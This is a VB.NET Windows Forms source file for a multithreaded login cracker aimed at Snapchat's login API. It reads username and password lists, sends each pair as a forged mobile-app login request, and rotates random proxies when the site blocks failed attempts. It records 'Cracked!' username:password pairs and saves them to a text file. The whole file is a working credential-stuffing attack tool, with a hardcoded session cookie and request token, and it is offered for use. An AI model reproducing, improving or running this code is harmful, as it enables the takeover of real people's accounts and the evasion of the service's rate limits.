Imports System.IO
Imports System.Net
Imports System.Text

Public Class Form1

    Private OFF As Boolean = True
    Dim usernames() As String
    Dim Passwords() As String
    Dim Proxy() As String
    Private proxylist As Boolean = False


    Public Function login(username As String, Password As String, Proxy As WebProxy)
        Dim result As String
        While OFF = False

            Try

                Dim postData As String = "password=" & Password & "&req_token=9306185051313f386e153bedf5a833f49aec4d8c19313a8099b49614d6c51d9b&timestamp=1512114873&username=" & username
                Dim tempCook As CookieContainer
                Dim encoding As New UTF8Encoding
                Dim bytedata As Byte() = encoding.GetBytes(postData)
                Dim request As HttpWebRequest = DirectCast(WebRequest.Create("https://app.snapchat.com/loq/login"), HttpWebRequest)
                request.Proxy = Proxy

                request.Headers.Add("Accept-Language", "en;q=0.9")
                request.Headers.Add("Cookie", "sc_at=v2|H4sIAAAAAAAAAE3GwRHAIAgEwIqYgRzIkW400Sos3q/7WsJ65EOZ6E0cY8mgQry+icKfzLVN9bWw5qxA7at6ALzdHtpAAAAA")
                request.ContentType = "application/x-www-form-urlencoded"
                request.Method = "POST"
                request.KeepAlive = True
                request.CookieContainer = tempCook
                request.UserAgent = "Snapchat/8.8.0.0 (SM-G900F; Android 5.0#G900FXXS1BPCL#21; gzip)"
                request.ContentLength = bytedata.Length
                Dim requestStream As Stream = request.GetRequestStream()
                requestStream.Write(bytedata, 0, bytedata.Length)
                requestStream.Close()
                Dim responseS As HttpWebResponse
                responseS = DirectCast(request.GetResponse(), HttpWebResponse)
                Dim Reader As New StreamReader(responseS.GetResponseStream())
                Dim thepage As String = Reader.ReadToEnd

                If thepage.Contains("Thanks!") Then
                    result = "Cracked!"
                    Right.Text = Right.Text & vbCrLf & username & ":" & Password

                ElseIf thepage.Contains("password is incorrect") Then
                    result = "password wrong"
                    Wrong.Text = Wrong.Text & vbCrLf & username & ":" & Password

                ElseIf thepage.Contains("failed login attempts") Then
                    result = "Proxy Blocked"
                    Wrong.Text = Wrong.Text & vbCrLf & "Proxy Blocked Changing Proxy"
                ElseIf thepage.Contains("Invalid account") Then

                    result = "account not found"
                    Wrong.Text = Wrong.Text & vbCrLf & username & ":" & Password

                End If

            Catch ex As Exception
                Wrong.Text = Wrong.Text & vbCrLf & "Error: " & ex.Message
            End Try


        End While

    End Function

    Public Sub loggingin()
        If proxylist Then

            For i As Integer = 0 To usernames.Length
                For ii As Integer = 0 To Passwords.Length
                    Dim rnd = New Random()
                    For iii As Int32 = 0 To Proxy.Length - 1
                        Dim randomProxy = Proxy(rnd.Next(0, Proxy.Count))
                        Dim myProxy As New WebProxy(randomProxy)
                        login(usernames(i), Passwords(ii), myProxy)
                    Next
                Next
            Next

        Else

            MsgBox("You don't have any proxy list , please click on generate proxy")

        End If

    End Sub

    Private Sub NsButton3_Click(sender As Object, e As EventArgs) Handles NsButton3.Click
        Dim file As System.IO.StreamWriter
        Dim FileName As String = "Cracked.txt"
        FileName = FileName.Replace(".txt", "_" & System.DateTime.Now.ToString("yyyy-MM-dd HH-mm-ss") & ".txt")
        file = My.Computer.FileSystem.OpenTextFileWriter(FileName, True)
        file.WriteLine(Right.Text)
        file.Close()
        MsgBox("Saved : " & FileName)

    End Sub

    Private Sub NsButton2_Click(sender As Object, e As EventArgs) Handles NsButton2.Click
        OFF = True
    End Sub

    Private Sub NsButton1_Click(sender As Object, e As EventArgs) Handles NsButton1.Click
        OFF = False

        Dim x As Integer = 5
        Dim threads = New Threading.Thread(x - 1) {}
        For i = 0 To x - 1
            threads(i) = New Threading.Thread((New Threading.ThreadStart(AddressOf loggingin)))
            threads(i).Start()
        Next
    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
        CheckForIllegalCrossThreadCalls = False
        usernames = File.ReadAllLines("user.txt")
        Passwords = File.ReadAllLines("pass.txt")
        If System.IO.File.Exists("proxy.txt") Then

            Proxy = File.ReadAllLines("proxy.txt")

            proxylist = True

        End If


    End Sub

    Private Sub NsButton4_Click(sender As Object, e As EventArgs) Handles NsButton4.Click
        Form2.Show()
    End Sub

    Private Sub NsControlButton1_Click(sender As Object, e As EventArgs) Handles NsControlButton1.Click
        Application.Exit()
    End Sub
End Class